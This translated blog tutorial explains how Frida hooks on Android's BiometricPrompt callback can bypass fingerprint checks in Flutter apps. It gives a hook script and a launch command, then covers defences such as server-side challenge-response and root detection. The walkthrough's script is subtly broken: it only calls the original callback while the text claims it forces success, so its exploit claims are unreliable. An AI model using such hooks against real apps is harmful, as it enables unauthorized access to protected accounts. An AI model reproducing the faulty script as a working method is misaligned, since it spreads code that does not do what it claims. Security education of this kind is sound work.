๐Ÿงฌ Part 2: Biometric Authentication Bypass in Flutterโ€Šโ€”โ€ŠHow Frida Can Fool Your Fingerprint Checks

๐Ÿงฌ Part 2: Biometric Authentication Bypass in Flutterโ€Šโ€”โ€ŠHow Frida Can Fool Your Fingerprint Checks

FlutterPulse

This article was translated specially for the channel FlutterPulseYou'll find lots of interesting things related to Flutter on this channel. Don't hesitate to subscribe!๐Ÿš€

Biometric authentication feels bulletproof. Fingerprint scanned? โœ… Face detected? โœ… You're in.

๐Ÿ”™ Check Previous Part [Offline Login Bypass in Flutter]

But what if I told you attackers can bypass biometric checks entirely, without ever touching the sensor?

In this article, we'll explore how Frida, a powerful dynamic instrumentation toolkit, can be used to trick Flutter apps into thinking the user passed biometric auth โ€” even when they didn't.

๐Ÿง  The Problem

Flutter apps that rely solely on biometric success responses from the device are vulnerable.

The logic usually looks like:

final isAuthenticated = await auth.authenticate(
localizedReason: 'Please authenticate to continue',
biometricOnly: true,
);

if (isAuthenticated) {
Navigator.push(context, MaterialPageRoute(builder: (_) => HomeScreen()));
}

No server check. No challenge-response. Just trust.

๐ŸŽฏ What's the Attack?

On rooted or emulated devices, attackers can:

  • Hook into the Android BiometricPrompt API
  • Override the callback onAuthenticationSucceeded()
  • Trick the app into thinking the biometric check succeeded

This bypasses fingerprint/face verification completely.

๐Ÿ› ๏ธ Exploitation Walkthrough

Requirements:

  • Rooted Android device or emulator
  • Frida + frida-server running
  • Target Flutter app using biometric auth
  • Java-based Frida hook

Step 1: Confirm the App Uses Biometric Auth

Look for packages like:

  • local_auth
  • Native Android bridge to BiometricPrompt

You'll usually see an auth call like this:

await auth.authenticate(...);

Step 2: Hook the Biometric Callback via Frida

Use this script:

// biometric_bypass.js
Java.perform(function() {
console.log("[*] Biometric bypass script loaded");
var Callback = Java.use("android.hardware.biometrics.BiometricPrompt$AuthenticationCallback");
Callback.onAuthenticationSucceeded.implementation = function(result) {
console.log("[+] Hooked: Forcing success...");
this.onAuthenticationSucceeded(result); // call original, or simulate
};
});

Step 3: Run the Frida Hook

frida -U -n com.example.myapp -l biometric_bypass.js

Result: the app believes biometrics succeeded โ€” no fingerprint needed.

๐Ÿ” Why This Works

  • Flutter's local_auth plugin wraps native Android biometric APIs.
  • The actual check runs in Java via BiometricPrompt.
  • Frida can intercept that native Java method and force it to return success.
  • The Flutter app trusts the result without verifying it externally.

๐Ÿ“‰ Real-World Impact

Vulnerability Impact Biometric bypass Full access to locked features No PIN fallback No alternative challenge Offline access Works without internet Local-only trust Easy to fake on rooted devices

```
| Vulnerability | Impact |
|----------------------|---------------------------------------------|
| Biometric bypass | Full access to locked features |
| No PIN fallback | No alternative challenge |
| Offline access | Works without internet |
| Local-only trust | Easy to fake on rooted devices |
```

Risk Level: HIGH

๐Ÿ›ก๏ธ How to Fix It

โœ… Fix 1: Never Trust Local Biometrics Alone

Add backend validation after biometric success:

if (await auth.authenticate(...)) {
final token = await backend.getSecureToken();
if (token.isValid) {
// Continue to dashboard
} else {
// Show error
}
}

Let the server validate a signed proof of biometric success (see next fix).

โœ… Fix 2: Use Keystore + Challenge-Response

Instead of just "auth passed," apps should:

  1. Request a nonce/challenge from server
  2. Sign it with Android Keystore (hardware-backed)
  3. Send signature to server for verification

This is how banking apps protect biometric auth.

โœ… Fix 3: Block Rooted or Frida-Attached Devices

Use root detection libraries:

import 'package:jailbreak_detection/jailbreak_detection.dart';

bool isRooted = await JailbreakDetection.jailbroken;
if (isRooted) exit(1);

Or detect Frida with native checks (or plugins like trust_fall).

โœ… Fix 4: Add Behavior-Based Anomaly Detection

Monitor suspicious patterns:

  • Biometric passed too quickly
  • Device fingerprint changed
  • App running in emulator
  • Repeated auth success without real attempts

These signals can be sent to your backend for further validation.

๐Ÿšซ Common Pitfalls

```
|---------------------------------------|--------------------------------|
| Bad Practice | Why It's Dangerous |
|---------------------------------------|--------------------------------|
| Relying on `auth.authenticate()` only | No backend check, fully local |
| Assuming biometrics = security | Easily hooked |
| No root or debugger detection | Leaves app wide open |
| No audit logs | No way to track abuse |
|---------------------------------------|--------------------------------|
```

โœ… Developer Checklist

  • Always validate biometric success on backend
  • Use challenge-response with signed tokens
  • Detect rooted devices & Frida
  • Avoid "unlock all" on local auth alone
  • Rate-limit biometric attempts

๐Ÿ‘€ Up Next

๐Ÿง  Part 3: Debug Mode Exploits โ€” What Happens When You Ship a Dev Build to Production?
Learn how debuggable apps allow Frida, memory inspection, and full control over your code at runtime.

Thank you for reading this article

If I missed something or made an error, please let me know in the comments. I'm always eager to learn and improve.

Give a clap ๐Ÿ‘ if you found this article helpful.

Report Page